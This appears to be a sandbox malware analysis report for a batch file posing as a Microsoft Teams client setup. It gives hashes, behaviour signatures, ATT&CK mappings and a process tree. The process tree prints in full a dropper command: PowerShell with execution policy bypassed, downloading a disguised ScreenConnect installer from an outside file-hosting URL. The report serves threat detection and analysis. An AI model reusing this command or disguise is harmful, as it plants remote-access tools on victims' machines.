e755b64cf265e7e4e4f1a1090a6df0786c68a72492aee0b116f12c27cf3e45e7

Analysis

max time kernel
149s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
05/05/2026, 18:25

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General

Target
Teams.clientsetup.bat
Size 1KB
Sample260505-w2xesadv9t
SHA256 e755b64cf265e7e4e4f1a1090a6df0786c68a72492aee0b116f12c27cf3e45e7
MD5 84afc72d412001afa210716d3a96c42e
SHA1 fa897f89aded216a57d66166d375e10f02e42de8
SHA512 cddbc69f0b493fd6fece9cfc24e0d4a7abb625697deb6f38b89a6f3e4652f4b1cc08d8227a1ec9257179ec23cc256606d6c710e17fd0a02b2492f542f100ca3a
TLSH
T1ED31118A228AA1BE05238679D11C41FAFA9C5763831464F835B1C485BA443DDDADB7CA
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://pixeldrain.com/api/file/Ej1A2fmE

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4748	powershell.exe
3	4748	powershell.exe
4	4748	powershell.exe
6	4748	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4748	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4748	powershell.exe
4748	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4748	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1916 wrote to memory of 3296	1916	cmd.exe	80
PID 3296 wrote to memory of 2384	3296	net.exe	81
PID 1916 wrote to memory of 4748	1916	cmd.exe	82

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Teams.clientsetup.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1916
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3296
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:2384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop';" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls11 -bor [Net.SecurityProtocolType]::Tls;" "$wc = New-Object System.Net.WebClient;" "$wc.Headers['User-Agent'] = 'Mozilla/5.0';" "$wc.DownloadFile('http://pixeldrain.com/api/file/Ej1A2fmE','C:\Users\Admin\AppData\Local\Temp\ScreenConnect_Installer(My_Organization).msi');"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4748

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_s5tt3aab.py5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s5tt3aab.py5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4748-1-0x000001F596070000-0x000001F596080000-memory.dmp

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memory/4748-0-0x000001F596070000-0x000001F596080000-memory.dmp

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memory/4748-2-0x000001F5AE400000-0x000001F5AE422000-memory.dmp

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memory/4748-9-0x000001F596070000-0x000001F596080000-memory.dmp

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memory/4748-10-0x000001F596070000-0x000001F596080000-memory.dmp

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memory/4748-11-0x000001F596070000-0x000001F596080000-memory.dmp

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memory/4748-12-0x000001F596060000-0x000001F59606C000-memory.dmp

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memory/4748-13-0x000001F596120000-0x000001F596132000-memory.dmp

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memory/4748-14-0x000001F596070000-0x000001F596080000-memory.dmp

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memory/4748-28-0x000001F596060000-0x000001F59606C000-memory.dmp

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